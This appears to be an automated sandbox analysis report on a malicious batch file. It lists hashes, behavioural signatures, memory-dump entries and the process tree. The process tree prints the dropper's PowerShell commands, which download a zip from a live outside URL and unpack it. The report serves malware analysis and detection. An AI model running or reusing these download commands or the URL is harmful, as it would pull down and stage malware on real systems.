1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1564s
max time network
1570s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (7).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2688	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2688	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2576 wrote to memory of 2688	2576	cmd.exe	29
PID 2576 wrote to memory of 2688	2576	cmd.exe	29
PID 2576 wrote to memory of 2688	2576	cmd.exe	29
PID 2576 wrote to memory of 2972	2576	cmd.exe	30
PID 2576 wrote to memory of 2972	2576	cmd.exe	30
PID 2576 wrote to memory of 2972	2576	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
eab012830e5f01885e866da6f4920df9

SHA1
da2d845aa9378a1265489cb00055175943dd2e7a

SHA256
1c16603add8f29bdd67258fd2193ac7a349f7464eaa3777467263f2ced06b43b

SHA512
ea8db0b6e6a1dc0467de1f2c1d313fa3bd90325a7b536904e3a95c4719e8e971fbc4f7a6f30c4f7675c44646138449a0b51aa94546de3223f674143ac7282440

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F1U0DGKF2UGTQWFWL86P.temp

Filesize
7KB

MD5
eab012830e5f01885e866da6f4920df9

SHA1
da2d845aa9378a1265489cb00055175943dd2e7a

SHA256
1c16603add8f29bdd67258fd2193ac7a349f7464eaa3777467263f2ced06b43b

SHA512
ea8db0b6e6a1dc0467de1f2c1d313fa3bd90325a7b536904e3a95c4719e8e971fbc4f7a6f30c4f7675c44646138449a0b51aa94546de3223f674143ac7282440

Download Submit
memory/2688-11-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-14-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-9-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-10-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-5-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/2688-13-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-18-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-15-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-16-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-17-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2688-7-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2688-6-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-34-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-26-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-24-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2972-28-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-27-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2972-29-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-30-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-31-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-32-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-33-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-25-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-35-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2972-36-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download